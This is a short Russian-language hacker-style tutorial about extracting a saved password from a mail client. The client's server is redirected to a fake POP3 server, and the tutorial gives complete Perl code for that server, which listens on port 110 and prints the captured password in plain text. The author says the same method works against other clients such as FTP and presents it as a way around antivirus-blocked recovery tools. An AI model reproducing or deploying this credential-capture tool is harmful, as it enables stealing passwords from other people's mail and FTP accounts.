Довольно тривиальная задачка – имеется
установленный почтовик, в котором вбит предустановленный пароль.
Чтобы его расшифровать, есть, минимум, 3 способа. Во-первых,
заветный пароль можно вытащить из конфигов (как вручную, так и
различными приложениями). Однако в большинстве случаев, пассворд
шифруется, и изъять его не получается. Например, те же Openpass,
Passview или Recover не запускаются при установленном антивирусе
или файрволе. В итоге приходится довольствоваться старым
дедовским способом по искусственному «выманиванию» паролей из
почтовых программ.
1. Откроем твой любимый
блокнот и напишем простенький Fake-POP3-сервер, посредством
которого вытащим любой пароль.
#!/usr/bin/perl
# Emulate the fake pop3 service ;)
use IO::Socket;
$|++; # Юзаем сокет и отрубаем буферизацию
$sock=IO::Socket::INET->new(Listen=>10,LocalPort=>110,Proto=>'tcp',Reuse=>1)
|| "Cant open port: $!\n"; # Создаем сокет на 110 порту
локальной машины
while($client=$sock->accept()) {
while(1) { # Слушаем новых клиентов и входим в бесконечный цикл
при каждом новом соединении
$client->send("+OK Fake POP Service ready\n"); # Выдаем баннер
$stat=$client->recv($data,1024);
$client->send("+OK Password?\n");
$stat=$client->recv($data,1024); # Организуем обмен данными
согласно RFC1939
(undef,$data)=split(' ',$data);
print "Password is \"$data\"\n"; # Отделяем пароль и пишем его в
консоль
close($client); # Обрубаем клиент и выходим из программы
exit;
}
}
2. Изменяем в клиенте хост почтового сервера
на локальный адрес (либо на любой другой, куда будет заливаться
фейковый скрипт).
3. Запускаем фейковый скрипт и инициируем
процесс получения новых сообщений. Как итог – ты получишь пароль
в plain-text, нарисованный в консоли. Задачка выполнена.
Кстати, таким нехитрым образом можно получить пароли от
совершенно любых клиентов (например, на FTP). Главное – знать
команды обмена в нужном протоколе.